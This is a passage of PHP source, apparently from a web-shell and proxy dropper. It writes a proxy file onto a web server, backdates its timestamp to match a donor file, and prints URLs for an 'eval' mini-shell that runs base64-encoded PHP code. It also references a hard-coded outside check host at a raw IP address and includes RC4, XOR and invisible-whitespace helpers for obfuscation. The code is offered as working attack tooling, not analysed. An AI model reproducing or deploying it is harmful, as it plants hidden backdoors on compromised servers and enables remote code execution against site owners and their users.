\n$proxy_code"; file_put_contents($outfile,$content); touch($outfile,$donor); if (file_exists($outfile)) { //try { if (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) $proto=$_SERVER['HTTP_X_FORWARDED_PROTO']; else $proto=isset($_SERVER['HTTPS'])? 'https' : 'http'; $realpath=realpath($outfile) ? realpath($outfile) : getcwd().'/'.basename($outfile); $docroot = (substr($_SERVER['DOCUMENT_ROOT'],-1)=='/') ? substr($_SERVER['DOCUMENT_ROOT'],0,-1) : $_SERVER['DOCUMENT_ROOT']; $docroot = realpath($docroot) ? realpath($docroot) : $docroot; $base=$proto."://".$_SERVER["HTTP_HOST"]; $www_proxy_path=str_replace($docroot,$base,$realpath); echo "Proxy_URL: $www_proxy_path\n"; //} catch (ExceptionType $e) {} // finally { echo "Proxy_Password: '$password'\n"; echo "Domain_md5('$domain'): $password\n"; // echo "Proxy LocalPath: $realpath\nInode: $finode Ctime: $ctime\n"; $action_param=md5($password.'action'); $status=md5($password.'status'); $eva=md5($password.'eval'); $proxy_check_url='http://62.164.177.15/sosage.php'; echo "Status: $www_proxy_path?$action_param=$status (GET/POST)\n"; echo "Eval code(mini shell): "."$www_proxy_path?$action_param=$eva"."[&picture=ZWNobyAiSGVsbG8sIHdvcmxkIVxuIjs=] (php code in base64) (GET/POST)\n"; echo "Proxy Check Url: $proxy_check_url\n"; echo "Proxy OneTimeCheckUrl: $www_proxy_path?".rawurlencode(base64_encode(rc4("$proxy_check_url",$password)))."\n"; echo "Status_With_OneTimeCheckUrl: $www_proxy_path?$action_param=$status&".rawurlencode(base64_encode(rc4("$proxy_check_url",$password)))."\n"; // } } else { echo "Failed to create file: [".getcwd()."/$outfile]\n"; } ############################################################################# function getpasswordhash($domain) { if (!$domain) return ''; /* $parts=explode('.',$domain); $hash='.'.end($parts); $hash=prev($parts).$hash; return md5($hash); */ return md5($domain); } ############################################################################# function randinvis() { $arr=array("\t","\n"," "); return $arr[array_rand($arr)]; } #============================================== function xor_string($string, $key) { $key=strval($key); for($i = 0; $i < strlen($string); $i++) $string[$i] = ($string[$i] ^ $key[$i % strlen($key)]); return $string; } #============================================== function generateRandomString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } #============================================== function rc4($str,$key) { if (empty($str)) return ''; if (!is_string($str)) $str=strval($str); $s = array(); for ($i = 0; $i < 256; $i++) { $s[$i] = $i; } $j = 0; for ($i = 0; $i < 256; $i++) { $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; } $i = 0; $j = 0; $res = ''; for ($y = 0; $y < strlen($str); $y++) { $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); } return $res; } ?>